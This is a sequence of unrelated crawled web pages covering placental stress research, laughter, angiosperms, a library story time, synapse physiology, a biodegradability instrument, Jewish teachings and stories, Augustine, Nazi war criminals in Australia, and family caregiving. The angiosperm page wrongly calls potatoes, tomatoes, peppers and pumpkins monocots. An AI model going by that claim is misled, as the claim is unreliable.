To elucidate how reduced levels of OGT might be transmitting signals through the placenta to a fetus, Bale and Howerton bred mice that partially or fully lacked OGT in the placenta. They then compared these transgenic mice to animals that had been subjected to mild stressors during early gestation, such as predator odor, unfamiliar objects or unusual noises, during the first week of their pregnancies.
The researchers performed a genome-wide search for genes that were affected by the altered levels of OGT and were also affected by exposure to early prenatal stress using a specific activational histone mark and found a broad swath of common gene expression patterns.
They chose to focus on one particular differentially regulated gene called Hsd17b3, which encodes an enzyme that converts androstenedione, a steroid hormone, to testosterone. The researchers found this gene to be particularly interesting in part because neurodevelopmental disorders such as autism and schizophrenia have strong gender biases, where they either predominantly affect males or present earlier in males.
Mice with genetically reduced levels of the protein OGT in the placenta were shorter and leaner than normal mice. Similar phenotypes are seen in mice born to mothers who experienced stress early in pregnancy. The findings support the idea that mitochondrial dysfunction in the hypothalamus is affected by low OGT levels.
(Photo Credit: University of Pennsylvania)
Placentas associated with male mice pups born to stressed mothers had reduced levels of the enzyme Hsd17b3, and, as a result, had higher levels of androstenedione and lower levels of testosterone than normal mice.
"This could mean that, with early prenatal stress, males have less masculinization," Bale said. "This is important because autism tends to be thought of as the brain in a hypermasculinized state, and schizophrenia is thought of as a hypomasculinized state. It makes sense that there is something about this process of testosterone synthesis that is being disrupted."
Furthermore, the mice born to mothers with disrupted OGT looked like the offspring of stressed mothers in other ways. Although they were born at a normal weight, their growth slowed at weaning. Their body weight as adults was 10-20 percent lower than control mice.
Because of the key role that that the hypothalamus plays in controlling growth and many other critical survival functions, the Penn Vet researchers then screened the mouse genome for genes with differential expression in the hypothalamus, comparing normal mice, mice with reduced OGT and mice born to stressed mothers.
They identified several gene sets related to the structure and function of mitochrondria, the powerhouses of cells that are responsible for producing energy. And indeed, when compared by an enzymatic assay that examines mitochondria biogenesis, both the mice born to stressed mothers and mice born to mothers with reduced OGT had dramatically reduced mitochondrial function in their hypothalamus compared to normal mice. These studies were done in collaboration with Narayan Avadhani's lab at Penn Vet.
Such reduced function could explain why the growth patterns of mice appeared similar until weaning, at which point energy demands go up.
"If you have a really bad furnace you might be okay if temperatures are mild," Bale said. "But, if it's very cold, it can't meet demand. It could be the same for these mice. If you're in a litter close to your siblings and mom, you don't need to produce a lot of heat, but once you wean you have an extra demand for producing heat. They're just not keeping up."
Bale points out that mitochondrial dysfunction in the brain has been reported in both schizophrenia and autism patients.
In future work, Bale hopes to identify a suite of maternal plasma stress biomarkers that could signal an increased risk of neurodevelopmental disease for the baby.
"With that kind of a signature, we'd have a way to detect at-risk pregnancies and think about ways to intervene much earlier than waiting to look at the term placenta," she said.
Source: University of Pennsylvania | <urn:uuid:4168ba71-2efa-4f87-98ef-db1087ad1613> | CC-MAIN-2022-33 | https://www.sciencecodex.com/penn_team_links_placental_marker_of_prenatal_stress_to_brain_mitochondrial_dysfunction-135917 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573623.4/warc/CC-MAIN-20220819035957-20220819065957-00665.warc.gz | en | 0.969403 | 1,249 | 3.03125 | 3 |
It seems there isn’t as much laughing in the world as there once was.
When was the last time you had a good laugh? How about the time before that . . . and the time before that?
If you are searching too long for those recent laughs, then you definitely need to laugh more.
Maybe it’s the seriousness of the pandemic or a reluctance to not offend, so we stay conservative in what we say. But how can we laugh more—in healthy ways?
After all, laughter is regarded as the best medicine. Among other things, it is touted to reduce stress, increase blood flow, Improve memory and creativity. (Read about the benefits of laughter here.)
We have stress and tension going on week after week—stress that could kill us. So, let’s laugh more. I don’t mean smile or chuckle or feel happy. I mean belly laughing out loud. It’s health-giving.
Consciously discover what makes you laugh, then find ways to make others laugh, too. It’s healthy.
These suggestions will get you started:
• Read something funny – 300 funny quotes to make you laugh out loud.
• Watch a funny movie or video – George Carlin comparing football and baseball.
• Make a funny video yourself – attempt to go viral with it.
• Tell funny jokes or make up a few of your own.
• Exchange respectful stories about funny experiences.
Get laughing while remembering to always respect others. | <urn:uuid:3c4192c7-7a16-4baf-b151-41e51273cb2f> | CC-MAIN-2022-33 | https://leadersedge360.com/its-time-for-a-good-laugh/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571993.68/warc/CC-MAIN-20220814022847-20220814052847-00665.warc.gz | en | 0.944257 | 319 | 2.109375 | 2 |
Plants are very dynamic things, despite their sedate reputation. They have exciting lives, they make their own food — at least some of them do — and they do humans a big service by consuming carbon dioxide and producing oxygen. Some of the most advanced plants are the angiosperms. These plants are vascular, and they have seeds. The add-on that makes them so advanced is their ability to have flowers.
Most of the members of the plant kingdom have tubes that carry water and nutrients throughout the body of the plant. This kind of water-nutrient transportation is called the vascular system. Plants that do not have these are called nonvascular plants.
Some vascular plants that have seeds are called gymnosperms. Some of the most common gymnosperms are conifer trees, like pine, cedar, spruce, and redwood. These kinds of trees are also evergreens, able to keep their needles even in the cold months of winter.
Unlike gymnosperms, whose seeds are exposed to weather, animals, and people, angiosperms have their seeds surrounded by flowers, which can offer incredible protection. Many of these plants have an inner layer that surrounds the seed, storing food and protecting it from harm, and an outer layer that protects the seed from the elements or animal attacks.
Flowers are also reproductive elements. The stamen produces pollen, which is used to fertilize the egg in the carpel. The result is more seeds.
Angiosperms can have one of two kinds of seeds, monocots or dicots. Monocots have one package of food. They have leaves made of long strands, and petals in groups of three. Monocots include grass, palm trees, lilies, and corn.
Dicots have two packages of food. They have flowers with four or five petals and complex leaves with veins. Dicots include apple trees, cherry trees, roses, sunflowers, and cacti.
Angiosperms are very important to agriculture. The grass family of monocots includes rice, corn, wheat, barley, rye, oats, millet, sugar, and sorghum. The crops of these plants are used to feed people and livestock. Other monocots that are grown in large numbers to feed people and animals are potatoes, tomatoes, peppers, and pumpkins. The dicot fruit trees provide food for people and animals as well. | <urn:uuid:6401b0d7-5508-43ee-9f2f-73f5c60c3dd8> | CC-MAIN-2022-33 | https://www.homequestionsanswered.com/what-are-angiosperms.htm | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573118.26/warc/CC-MAIN-20220817213446-20220818003446-00665.warc.gz | en | 0.967108 | 507 | 3.78125 | 4 |
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Story time on the afternoon, Oct. 24 at Evanston Public Library was thrilling for the young audience hearing the stories in Mandarin.
The presentation by volunteer Evanston Township High School students studying Mandarin emerged from a conversation between the high school Mandarin teacher, Treena Larson, and a few Chinese community members. Ms. Larson had learned of a need for Chinese language reading materials for young children, ages 2-5, whose caretakers are often Chinese speakers unfamiliar with English.
The Mandarin class members decided to create and illustrate story books for donation to the Chinese community using Evanston Public Library.
Martha Meyer and Jessica Iverson of the Evanston Library embraced the plan and organized a story time event in Chinese featuring the stories students wrote. For an hour, the students read their stories one by one in between Chinese songs and English nursery rhythms.
In preparation for the story time, the two Library staff members also met at Evanston Township High School to advise Ms. Larson’s students about creating and presenting stories for young audiences.
“The students absorbed many of the tips and techniques given to them and ran with their imagination, making their story writing project a huge success,” Ms. Larson said. | <urn:uuid:ade75205-bb87-43ff-ab5b-aac9eaf979c5> | CC-MAIN-2022-33 | https://evanstonroundtable.com/2015/11/04/mandarin-story-times-at-the-library/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573623.4/warc/CC-MAIN-20220819035957-20220819065957-00665.warc.gz | en | 0.951409 | 258 | 2.3125 | 2 |
Quantal fluctuations are an integral part of synaptic signaling. At the frog neuromuscular junction, Bernard Katz proposed that quantal fluctuations originate at "reactive sites" where specific structures of the presynaptic membrane interact with synaptic vesicles. However, the physical nature of reactive sites has remained unclear, both at the frog neuromuscular junction and at central synapses. Many central synapses, called simple synapses, are small structures containing a single presynaptic active zone and a single postsynaptic density of receptors. Several lines of evidence indicate that simple synapses may release several synaptic vesicles in response to a single action potential. However, in some synapses at least, each release event activates a significant fraction of the postsynaptic receptors, giving rise to a sublinear relation between vesicular release and postsynaptic current. Partial receptor saturation as well as synaptic jitter gives to simple synapse signaling the appearance of a binary process. Recent investigations of simple synapses indicate that the number of released vesicles follows binomial statistics, with a maximum reflecting the number of docking sites present in the active zone. These results suggest that at central synapses, vesicular docking sites represent the reactive sites proposed by Katz. The macromolecular architecture and molecular composition of docking sites are presently investigated with novel combinations of techniques. It is proposed that variations in docking site numbers are central in defining intersynaptic variability and that docking site occupancy is a key parameter regulating short-term synaptic plasticity.
Copyright © 2017 the American Physiological Society. | <urn:uuid:a5066b34-3b31-4247-ab27-127f900f7b8b> | CC-MAIN-2022-33 | https://pubmed.ncbi.nlm.nih.gov/28835509/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.904122 | 317 | 1.90625 | 2 |
Plastics and packaging materials can be more fantastic
if it´s biodegradable
Instrument for biodegradability analyses
The degradation of biodegradable polymers and biodegradable plastics crucially depends on the environments they may end up in, such as soil, fresh or marine water, landfill or composting site. Owing to the great variations in natural conditions, several tests are needed to determine the fate of a polymer material in real life and to study its biodegradability in different environments. In aerobic environments, the biodegradability is usually determined by measuring oxygen demand in a closed respirometer or the amount of carbon dioxide evolved over time. When oxygen is not available under the anaerobic conditions, the measurement of released biogas (a mixer of methane and carbon dioxide) is the method for evaluating anaerobic biodegradability. Biodegradability test can be performed under “certification” or “screening” conditions. Certification conditions are required in cases where the results are intended to be used for certification and/or making public claims on biodegradability, whereas screening conditions are suggested for internal research purposes.
The Gas Endeavour® is a novel respirometer for both anaerobic and aerobic biodegradation analyses. For anaerobic biodegradability test, the Gas Endeavour® provides efficient and accurate data analyses on biogas release in any aqueous medium, controlled slurry digestion system and high-solids anaerobic digestion condition. In case of aerobic biodegradability test, the Gas Endeavour® is intended be used together with our patented in-situ carbon dioxide absorption kit to function as a closed respirometer system for measuring oxygen demand. With help of in-situ carbon dioxide absorption kit, the Gas Endeavour® becomes a powerful tool and analysis platform for both anaerobic and aerobic biodegradability analyses in various environmental conditions and support the most of important ISO, European and American standards for anaerobic and aerobic biodegradability evaluation. | <urn:uuid:6359269b-9ca2-4dfb-85f3-4d5c34feba6f> | CC-MAIN-2022-33 | https://bpcinstruments.com/biodegradability-compostability/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.882854 | 425 | 2.625 | 3 |
Living With The Times | A Slice of Life | What's New | Insights
Customs | A Word from the Director | It Once Happened | Thoughts that Count
Years ago, an entrepreneurial Jew produced mitzva marketing items: a bumper sticker that read, "This car runs on gas, not on Shabbos"; a button with a charity box that said, "Pitch in, every little bit counts"; a T-shirt emblazoned with the words, "Torah, it's the real thing."
Zeroing in on the latter of the three messages and knowing a little about Coca-Cola's history (thanks to the August issue of Consumer Reports), it's easy and entertaining to find some interesting connections between one of the world's most favorite soft drinks and Judaism. All this, of course, while keeping in mind the adage of the Baal Shem Tov, founder of the Chasidic movement, that everything we see and hear is a lesson for us in our spiritual service.
Skeptical about the future of Coca-Cola as a bottled drink, the first official bottling franchise for Coke was sold for just $1 in 1899. This reminds us of the story of one of the greatest converts to Judaism, Onkelos. Upon becoming familiar with Judaism through the Sages who visited Rome, he decided to convert. However, his uncle was the Roman emperor Hadrian, and Onkelos feared the Emperor's wrath were he to find out about the conversion.
Onkelos asked his uncle's advice about what merchandise to buy on his upcoming trip abroad. Hadrian's advice was to seek merchandise low in price because people do not realize its value. But, after explaining its true worth to the consumer, one can sell it at a nice profit.
Onkelos' true destination was the Holy Land, where he went to convert to Judaism. When Hadrian found out he was enraged. Later, when Onkelos returned to Rome and visited his uncle, he explained: "I just took your good advice. There is no nation which people value less than the Jews. But the Torah calls the Jews a nation of priests and certainly, someday, the world will recognize them as that."
Over three thousand years of Jewish history proves that there is nothing to be skeptical about, even if others undervalue our worth.
In 1941, Coke's president vowed that every American soldier "gets a bottle of Coca-Cola for 5 cents, wherever he is and whatever it costs the company." By the end of the war there was a worldwide bottling network.
We Jews would do well to learn from that patriotic president. Though it's certainly true that Jews live on every continent and in nearly every country, anti-Semites like to give the Jewish network much more credence than it deserves.
Shouldn't we have the same visionary motto and proclaim that every Jewish child "gets a proper Jewish education for minimal tuition wherever s/he is and whatever it costs the Jewish community?"
Our final tidbit has to do with what Coke learned the hard way and Jews are still learning: It doesn't pay to tamper with the original! In 1985, Coke announced that it would be changing its formula. The company said it stumbled upon a better recipe. Vanloads of mail and 1,500 calls a day convinced the company to bring back the old, faithful recipe. This is a lighthearted article, so let's not become morbid and list the statistics of intermarriage, cult membership and assimilation to drive home the point that it doesn't pay to tamper with our original.
Coca-Cola even received one letter before bringing back "Coke Classic" that invoked the Creator's (not Coke's but the universe's) name: "Changing Coke is like G-d making the grass purple or putting toes on our ears or teeth on our knees." Would that we Jews would feel as stiff-necked and obstinate about Judaism as Coke fans do about their choice of beverage.
The Torah portion, Toldot, begins by discussing the very different relationships Isaac and Rebecca had with their children, Jacob and Esau. Isaac loved Esau, whereas Rebecca loved Jacob. The difference is epitomized by Isaac's desire before his death to bless Esau. However, Jacob, aided by his mother, received the blessings.
The Midrash comments on the special relationship between Isaac and Esau which resulted in Isaac preferring Esau though knowing he was wicked. Years after Jacob had passed away, Esau wanted to disturb Jacob's grave. One of Jacob's grandchildren beheaded Esau before he could perform this desecration and Esau's head fell on the grave.
The Midrash highlights a special connection between Esau's "head" and the holiness of his father Isaac. The first two of our Patriarchs both had a wicked son in addition to a righteous one. Abraham had Ishmael, and Isaac had Esau. Ishmael eventually repented but Esau never did.
Our Sages termed Esau an apostate Jew, considering him an inheritor of Abraham's legacy. The Torah states, "an inheritance I gave to Esau." But Ishmael, though he repented, has the status of a non-Jew. He did not inherit from his father.
This dichotomy underscores the basic difference between Esau and Ishmael: The innermost essence of Ishmael was not a part of Abraham. The essence of Esau, however, was that of a Jew, a descendant of Abraham, and even though he never repented, he remained Jewish. His basic nature and roots were still connected to Isaac, and all he represented.
Esau's head falling onto Isaac's grave illustrates this point: Esau was not totally corrupt and evil. His "head"--his roots in the spiritual realm, were connected to Isaac and holiness. However, while his soul was in this world, connected to his body, he did not choose the right path and never repented.
Furthermore, although Esau's behavior was undesirable, he himself possessed many sparks of holiness which surfaced, generations later, in his descendants--among others, the great scholars Onkelos and Rabbi Meir. Isaac was able to discern Esau's holiness and potential through the layer of his physicality, and therefore loved him and wanted to bless him, wishing to help him uncover the true goodness within.
But Rebecca, Esau's mother, realized that this lofty goal was an impossibility. She understood that Esau was good only when his "head" was separated from his body--in this world he would always be uncivilized and savage.
We learn an important lesson from Isaac: If even the wicked Esau was considered a Jew and deserving of Isaac's love, we must always strive to look only at our fellow Jew's "head"--his positive traits, and love him for his essence.
Adapted from the works of the Lubavitcher Rebbe.
A LETTER FROM MOSCOW
by Rabbi S. B. Cunin
Rabbi Cunin is the director of Chabad of the West Coast. He is presently in Moscow on a special mission from the Lubavitcher Rebbe. This letter appeared in the People Helping People magazine produced for the L'Chaim-To Life Chabad Telethon in Los Angeles.
Except for a few days spent on Capitol Hill and in Los Angeles, I have now been in Russia for the better part of eight months. They have been months of trial by fire for myself and my colleagues--Rabbi Y. Aranow, executive director of Chabad Youth Organization in Israel, Rabbi I. Kogan, the famed Russian emigre and activist, and Rabbi S. B. Levinson, chief librarian of the Central Lubavitch Collection in New York.
We are here, at the request of the Lubavitcher Rebbe, shlita, to retrieve 12,000 sacred and historic volumes of books which belong to Chabad Lubavitch, but have been held captive by the Russian government since 1917.
What is at stake is much more than the outcome of a pile of books. The wisdom, understanding and knowledge held within the pages of this collection--known as the Schneerson-Agudas Chassidei Chabad Books--is the only surviving portion of original written Chasidic philosophy, collected over a 200-year period since the time of the first Chabad Rebbe, that remains separated from the 150,000 volume Chabad Library in Brooklyn. In essence, it is the missing spiritual link to an approach to life that has brought solace and succor to literally millions of people throughout the world.
To the Russian government, the books have no value. They are meaningless. In 70 years only 87 of them have been catalogued. The rest remain in their original crates, accessible to no one. To us, they are priceless. Once returned to the Chabad Library, where they will be available to the Rebbe and leading scholars from all over the world, these treasures will be the source for innumerable volumes of Chasidic insight, inspiration and guidance.
Just as each and every one of you has been touched by the work of Chabad, every single member of Chabad Lubavitch looks to the works of the Rebbe and his forbears and draws strength from the study of Chasidut. This is the driving force behind everything we do; it is what guides our efforts in reaching out to the less fortunate. That is because at the heart of Chasidic teachings is the philosophy of people helping people, and, at the core of that philosophy is the intellectual, spiritual and emotional union with G-d.
These captive texts are an integral part of that union and belong, by virtue of law and in the heart of people everywhere, to our movement.
Yet they remain imprisoned in the Lenin Library. How did they get there?
In 1916, with the German army marching toward the village of Lubavitch, the fifth Rebbe, Rabbi Sholom Ber Schneerson, o.b.m., sent part of his library to a storehouse in Moscow for safekeeping.
The chaos that followed the 1917 Revolution prevented him from retrieving the books. After his passing in 1920, his son, Rabbi Y.Y. Schneerson, o.b.m.--the sixth Rebbe--began the long struggle to get them back. From early on a pattern of hope followed by crushing disappointment was established. In 1922, the authorities gave written permission to release the books, only to have the document be "misplaced." The books were then sent to the Lenin Library where they have remained, untouched, ever since.
My three colleagues and I have vowed not to leave Moscow as long as one page of these spiritual treasures remains. The four of us are responsible for humanitarian and educational institutions affecting the lives of untold thousands of people. This is a responsibility we wrestle with daily, keeping the single telephone line available to us working around the clock to fulfill our commitments to our respective communities.
The incredible support we have received from political leaders and captains of industry around the world speaks volumes about the impact Chabad has had.
We have received every encouragement from the religious, legal, academic, cultural and political establishments of the U.S.S.R., including that of President and Mrs. Gorbachev.
There have been times when it seemed the end was in sight. I have seen the books, held them in my hands as tears streamed down my cheeks--tears bearing the agony of three generations of Rebbes and the hope of millions of people around the world.
I cannot express the profound disappointment, the unbelievable pain each time that hope was thwarted by bureaucratic entanglement. I am not at liberty to go into details now. I can only assure you that those bureaucrats who shortly after our arrival said, 'Don't worry, the Russian winter will take care of these guys,' sorely underestimated the resolve of people who believe in G-d and live by the philosophy of people helping people.
NEW CENTER IN EL PASO
The new Chabad House in El Paso
In the five years since Rabbi Israel and Chana Greenberg arrived in El Paso, Texas, the demands on the Chabad Center they established have grown tremendously. Starting at first with a Shabbat program in their apartment, the Chabad Center's programs have expanded to include a nursery school, study groups for men and women, classes for teenagers, a community newspaper, and Shabbat and holiday celebrations. To accomodate all of this, Chabad of El Paso recently built a beautiful new building on the west side of El Paso. The 1/2 acre property includes a library, classrooms, offices, and playground.
A new course on the books of Exodus, Esther and Ruth is being offered by Chabad of White Meadow Lake in New Jersey. The texts are being studied with the commentary of Rashi, the greatest of all Biblical commentators. For more information contact the Chabad Center at (201) 625-1525.
A CHILD'S FIRST WORDS
From a letter of the Lubavitcher Rebbe
Our contact has been on matters of a higher level, or, in Chabad language--"inward" matters. To me, as I hope also to you, this means a continuous contact, even during intervals between correspondence, for where there is a meeting of minds and thoughts, the contact transcends time and distance.
This being the case, and since my thoughts are with you, I want to share with you in a matter that has preoccupied my mind in recent weeks, namely, the inadequacy of attention given to the Chinuch (education) of children of pre-Bar (Bas)-Mitzva age, down to the very little ones. Even in circles where serious attention is given to older boys and girls, there is a prevalent tendency to take the Chinuch of the little ones more lightly.
This attitude is rather surprising, for the Torah has quite strong views on the role of the youngsters. Suffice it to cite the rule laid down by our Sages that as soon as a child begins to speak, his father must begin to teach him Torah, specifically the verse "Torah Tziva Lanu Moshe Morasha Kehilat Yakov--The Torah which Moshe commanded us is the heritage of the congregation of Jacob" (Deut. 33:4). At first glance, there is a very long way between a two-year-old toddler, just beginning to speak, and the Torah which Moshe Rabbeinu received at Sinai when he was 80-odd years old and at the height of his greatness. Yet, this is precisely what the Rabbis had in mind: to put this toddler in immediate relationship with the Torah which Moshe received at Sinai. So much so, that the Alter Rebbe [Rabbi Shneur Zalman], founder of Chabad, begins the Laws of Talmud Study in his Shulchan Aruch with this very rule laid down by our Sages.
In view of the above, I have addressed two special messages to pre-Bar (Bas)-Mitzvah children, as per enclosed copies, which I trust you will find illuminating.
Needless to say, I am certain that you will not suspect me of an indirect appeal for money. For, as you know, it is our understanding that your priority is specifically bound up with Miami, whence the voice of Torah will hopefully reverberate to the far corners of the earth. What I am after, and I make no secret about it, is the children: "Tein Li HaNefesh--Give me the persons"--in this case, the children; not to me, of course, but to Torah, in accordance with the commandment which Jews recite twice daily: "And you shall teach them (words of Torah) diligently unto your children"--talmidim, school children.
Why do we light a special candle on the yartzeit (anniversary of the passing) of a relative?
The basis for this custom is the verses from Proverbs, "The soul of a man is the lamp of G-d" and "For the commandment is a lamp and the law is light." Just as a flame always rises upward in an attempt to return to its source, so, too, does the Jewish soul attempt to reconnect with G-d through the performance of mitzvot. And ultimatly when the soul leaves the body it does return to its Divine source.
On Thursday and Friday of this week, we celebrate Rosh Chodesh Kislev, the new month of Kislev. Rosh Chodesh is celebrated as a mini-holiday, with special prayers and finer food and clothing. But it is the Jewish women in particular, who observe Rosh Chodesh more meticulously.
With the approach of the thirtieth annual national Lubavitch Women's Organization convention in Kansas City this month, it would certainly be appropriate to delve into the reason for the Jewish woman's more careful celebration of the new month.
Rabbi Eliezer wrote: "When the men came to remove their wives' gold earrings for the Golden Calf the women refused to hand them over. They said to their husbands, 'We will not obey you in order to make an abomination which has no power to save!' G-d rewarded them in this world, in giving them a greater degree of observance on Rosh Chodesh, and He rewards them in the World to Come in giving them the power of constant renewal, which characterizes [the renewal of the moon on] Rosh Chodesh."
On a more general note, the Jewish calendar is a lunar one, and our people are compared to the moon. Though our light is sometimes eclipsed by that of other nations, like the moon we are always present--at night and during the day. Our nation's history has its share of growth and decline, like the moon we wax and wane. But ultimately, these are just phases. For, though at times we seem to be as unimportant or insignificant as the sliver of the moon when it reappears, this is just a veneer.
May we sanctify the new moon this year and celebrate Rosh Chodesh in the Holy Temple with Moshiach.
Rabbi Shmuel Butman
Hillel ran a tavern, which he rented from the wealthy non-Jewish landowner. His customers, the local peasants, appreciated Hillel's service and honesty. Only one peasant showed open animosity toward the Jewish tavern keeper. Stefan, a coarse, foul-mouthed lout who was almost always drunk, resented the fact that Hilke, as he was known affectionately, refused to serve him more whiskey when he had had too much.
Stefan swore revenge on the Jew. And so, he decided to implicate Hilke in a crime. Stefan went to the government authorities and told them that Hilke was not collecting the proper tax on the whiskey he sold. To back up his accusation, he provided the names of several of his fellow Jew-hating peasants willing to swear that Hilke sold them "illegal" whiskey.
An investigation was launched. The false witneseses appeared and swore their false statements. The judge, an anti-Semite himself, took this opportunity to condemn all Jews for their thievery and trickiness, and imposed the harshest sentence possible on the hapless Hilke.
Hilke, of course, denied any wrong-doing. With tears in his eyes he claimed that he was the victim of a vicious plot. Many of his customers came and gave testimony as to Hilke's good character, and even the landowner himself spoke warmly of "his" Jew. The investigators saw that Hilke was indeed, not guilty, but what could they do? They couldn't simply ignore the sworn testimony of Stefan's friends. The case dragged on for almost a year, during which time Hilke became depressed and broken, staying in his house much of the time reciting Psalms.
Hilke's wife, Devorah Leah, watched as her husband grew more and more discouraged. Her father had been a chasid of Rabbi Menachem Mendel of Lubavitch. She requested her husband travel to Lubavitch to seek the advice and blessing of the Rebbe.
Hilke, however, did not come from a Chasidic family, and had never visited a Rebbe, and wasn't anxious to do so now. But, as the date of the trial drew nearer, he decided to listen to his wife and set off for Lubavitch.
In Lubavitch, Hilke saw many people waiting for days to see the Rebbe privately, so many that Hilke was discouraged and almost returned home. It was only after explaining the urgency of his situation to the Rebbe's secretary that he managed to get an appointment for the following day.
When he entered the Rebbe's room, Hilke suddenly felt at a loss for words. He began to weep as he poured out his heart to the Rebbe, explaining the terrible plot which had been instigated against him.
The Rebbe listened patiently, and then said, "Don't cry, Hilke. G-d will surely help you. Everything in the world, every single creature, was created for a particular purpose. Even mice sometimes benefit man. Go home, Hilke, and put your trust in G-d."
Hilke left the Rebbe encouraged, though he did not exactly understand the Rebbe's words. Hilke's wife was equally mystified, but she trusted that G-d would fulfill the blessing of the tzadik.
The day of the trial arrived, and Hilke and Devorah Leah traveled to the courthouse which was filled to overflowing with people eager to hear the verdict. Hilke sat on the defendant's bench, pale, reciting Psalms with such an intensity that he became oblivious to his surroundings.
The trial opened, and Stefan was brought in. He repeated all his false accusations but when he was questioned by the defense lawyer, he became confused and was caught in his own contradictory statements. He wasn't worried, though, since he was sure that the testimonies of the other witnesses would wrap up the case.
But when the names of the next witnesses were announced, there was a long silence. Not one of Stefan's gang members had shown up; it seemed that something had happened to each one to prevent him from appearing.
Things were going well for Hilke, but the prosecutor wouldn't give up. He requested the original documentation, and so, the judge sent his clerk to bring the papers from storage. All present waited impatiently for the clerk to return, but when he did, he was empty-handed. He whispered something to the judge, who roared back, "Bring whatever there is!"
"But Judge," said the clerk, "There is nothing left. Mice have eaten up the whole file!"
"That's impossible," roared the judge. "Go and bring me the whole drawer." The clerk soon returned with a large, heavy drawer filled with shredded bits of paper.
And so it was that although every other document in the drawer was in perfect condition, only the file of Hilke had been completely destroyed by the mice.
Hilke, absorbed as he was in reciting Psalms, had no idea what had happened, and was surprised by the crowd of well-wishers and relatives who ran to him wishing a mazel tov. When he learned that the charges had been dropped, he thanked G-d for having saved him from this terrible plot. As they returned home, his wife filled in all the details of what had transpired in the courtroom, and only then did Hilke begin to understand the words of the Rebbe.
That my soul may bless you (Gen. 27:4)
Why did Isaac want to bless Esau instead of Jacob? Jacob was "a pure man, a dweller in tents (of Torah)," and even without a blessing he would stay away from evil. Esau, however, was very likely to fall into bad ways, and needed the assistance of his father's blessing.
And you shall stay with him a short time ... until your brother's fury turns away ... until your brother's anger turns away (Gen. 27:44, 45)
Rebecca advised her son Jacob what to do: "Run away to my brother Laban and wait until your brother gets over his anger. How will you know when that time has arrived and he is no longer angry at you? When you yourself stop holding a grudge against him." Rebecca understood the reciprocity of human emotions: Love is reciprocated with love, and hatred elicits a like response in others.
And one people shall be stronger than the other (Gen. 25:23)
Rashi comments: When one rises, the other falls.
Jacob and Esau symbolize the struggle between the G-dly soul and the animal soul, between a person's good and evil inclinations. When a Jew's G-dly soul is dominant and exerts itself, there is no need to combat the animal soul--it "falls" by itself. Light does not have to fight darkness to illuminate--as soon as it appears, the darkness vanishes. So too, does the light of holiness dispel all evil.
In the Era of the Redemption, according to Maimonides, "the occupation of the entire world will be solely to know G-d." From the expression "the entire world" it appears that this phrase includes gentiles as well. We will ultimately witness the fulfillment of the prophecy (Zephaniah 3:9), that "I will make the people pure of speech so that they will all call upon the Name of G-d," and even non-Jews will be devoted solely to seeking "the knowledge of G-d." | <urn:uuid:9bf88d77-e4af-4eb2-9e13-6c81bbb4a83c> | CC-MAIN-2022-33 | http://lchaimweekly.com/lchaim/5752/188.htm | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573623.4/warc/CC-MAIN-20220819035957-20220819065957-00665.warc.gz | en | 0.975882 | 5,435 | 2.3125 | 2 |
THE ROLE OF THE PHYSICAL IN AUGUSTINE’S RETURN TO GOD IN THE CONFESSIONES
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The role of the physical in the Trinitarian cosmos of the Confessiones demonstrates the natural capacity of the human to return to God by, and with, physical bodies. The physical is the relative basis and beginning of movement at every stage of the return (exteriora, interiora, superiora). Simultaneously, the human and the physical mutually return to God by, and with, His prior self-return in the increasing expansion and power of the human converting to the divine-human aspect, the sixth day of creation in Genesis, wherein God’s work and rest is in the human’s working and resting. | <urn:uuid:4184727e-e5d8-4199-af33-558a5d351f26> | CC-MAIN-2022-33 | https://dalspace.library.dal.ca/handle/10222/75071 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.813889 | 179 | 2.875 | 3 |
SYDNEY, Australia (JTA) – A senior Jewish leader accused Australian officials of being complicit in allowing Nazi war criminals to seek sanctuary here.
Jeremy Jones, a former president of the Executive Council of Australian Jewry, said Aug. 19 at the launch of a new book about Nazi war criminals: “Australian governments, through commission and omission, had been complicit in allowing torturers, murderers and architects of the most gross inhumanity to come and live in peace and without fear of consequences in Australia.”
His attack comes just days after Australia’s highest court ruled that Karoly (Charles) Zentai, believed to be the last suspected Nazi war criminal in Australia, could not be surrendered to Hungary to face accusations of a war crime committed there in 1944.
Jones, who is also director of international and community affairs for the Australia/Israel & Jewish Affairs Council, scolded the judges, saying their decision “almost screams from the rooftops that Australia lacks the will to redress a great historic wrong.”
He said there has “been a fickle, cynical abrogation of morality” by successive Australian governments. “There had been a gross distortion of decency, allowing fugitives to take places of refugees,” Jones said, adding the result was “a moral stain on our country.”
Launching “The Road to the Menzies Inquiry: Suspected War Criminals in Australia” by the late Leslie Caplan, also a former president of the ECAJ, Jones said: “There were hundreds of people who came here and slept peacefully at night, without any concern that they would ever be brought to account for their crimes.” | <urn:uuid:59225eec-59f1-4c2a-b9ef-b9c384a9d46f> | CC-MAIN-2022-33 | https://www.jta.org/2012/08/21/global/australian-jewish-leader-says-officials-complicit-in-sheltering-nazi-war-criminals | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.963837 | 352 | 1.757813 | 2 |
A reader recently asked about the duties of a Family Caregiver. The traditional meaning of the word “duty” implies obligation to someone. My thought, in that case, would be that a Family Caregiver would have no “duties”. Everything that most Family Caregivers do is done because of their deep love for the person for whom they are providing care. Most Family Caregivers are “in it” for love and definitely not for money.
Not Something That Just Anyone Would “Sign Up” for
Serving as a Family Caregiver is a tough job that you received mostly because of who you are – a spouse or a child of a declining Senior. You love this person with every fiber of your being. Daily, you strive to do everything possible to make their life just a little easier. However, just the thought of knowing that even though you are giving it your all, your Loved One is still visibly declining right before your eyes, is not something that most people would sign up for. To be an effective Family Caregiver, you must be loving, tough, very focused, and follow a carefully crafted plan.
Necessities of a Carefully Crafted Plan
